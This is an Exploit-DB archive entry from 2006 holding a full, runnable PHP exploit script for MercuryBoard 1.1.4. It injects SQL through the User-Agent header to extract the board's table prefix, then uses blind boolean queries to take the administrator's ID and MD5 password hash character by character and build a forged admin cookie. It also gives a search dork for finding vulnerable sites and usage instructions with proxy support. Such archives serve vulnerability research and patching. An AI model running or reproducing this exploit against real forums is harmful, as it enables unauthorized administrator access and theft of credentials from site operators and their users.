Exploit-DB #2247
Description: MercuryBoard 1.1.4 - 'User-Agent' SQL Injection
Type: webapps
Platform: php
Date: 2006-08-23
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
MercuryBoard <= 1.1.4 "User-Agent" SQL injection / privilege escalation exploit
(php version)
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "Powered by MercuryBoard"
--------------------------------------------------------------------------------
');
/*
works regardless of php.ini settings
against MySQL > 4.1 (allowing subs)
original exploit: http://www.milw0rm.com/exploits/1058 coded by 1dt.w0lf
not working for me, so I wrote my version
vulnerability is actually unpatched...
*/

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to MercuryBoard
Options:
   -p[port]:    specify a port other than 80
   -P[ip:port]: specify a proxy
Examples:
php '.$argv[0].' localhost /mercury/
php '.$argv[0].' localhost /mercury/ -p81
php '.$argv[0].' localhost / -P1.1.1.1:80
--------------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$packet="GET ".$p."index.php?a=active HTTP/1.0\r\n";
$packet.="User-Agent: '\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("REPLACE INTO",$html))
{
echo "vulnerable...\n";
$temp=explode("REPLACE INTO ",$html);
$temp2=explode("active",$temp[1]);
$prefix=$temp2[0];
echo "prefix -> ".$prefix."\n";sleep(1);
}
else
{
die("not vulnerable...\n");
}

$ch[0]=0;//null
$ch=array_merge($ch,range(48,57)); //numbers
$j=1;
$id="";
echo "building the admin cookie...\nid: ";
while (!strstr($id,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$ch))
{
$packet="GET ".$p."index.php?a=active HTTP/1.0\r\n";
$packet.="User-Agent: 666','suntzu'),(1,'active',0,'','','',(SELECT(IF((ASCII(SUBSTRING(user_id,".$j.",1))=".$i."),'suntzu','suntzoi'))/**/FROM/**/".$prefix."users/**/WHERE/**/user_group=1))/*\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax near 'SELECT",$html))
{die("\nWrong MySql version, sorry...");}
if (!eregi("Viewing the active users",$html)) {$id.=chr($i);echo chr($i);sleep(1);break;}
}
if ($i==255) {die("\nExploit failed...");}
}
$j++;
}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
echo "\npassword (md5): ";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$packet="GET ".$p."index.php?a=active HTTP/1.0\r\n";
$packet.="User-Agent: 666','suntzu'),(1,'active',0,'','','',(SELECT(IF((ASCII(SUBSTRING(user_password,".$j.",1))=".$i."),'suntzu','suntzoi'))/**/FROM/**/".$prefix."users/**/WHERE/**/user_group=1))/*\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!eregi("Viewing the active users",$html)) {$password.=chr($i);echo chr($i);sleep(1);break;}
}
if ($i==255) {die("\nExploit failed...");}
}
$j++;
}
echo "\nyour admin cookie:\n mercury_user=$id; mercury_pass=$password;\n";
?>

# milw0rm.com [2006-08-23]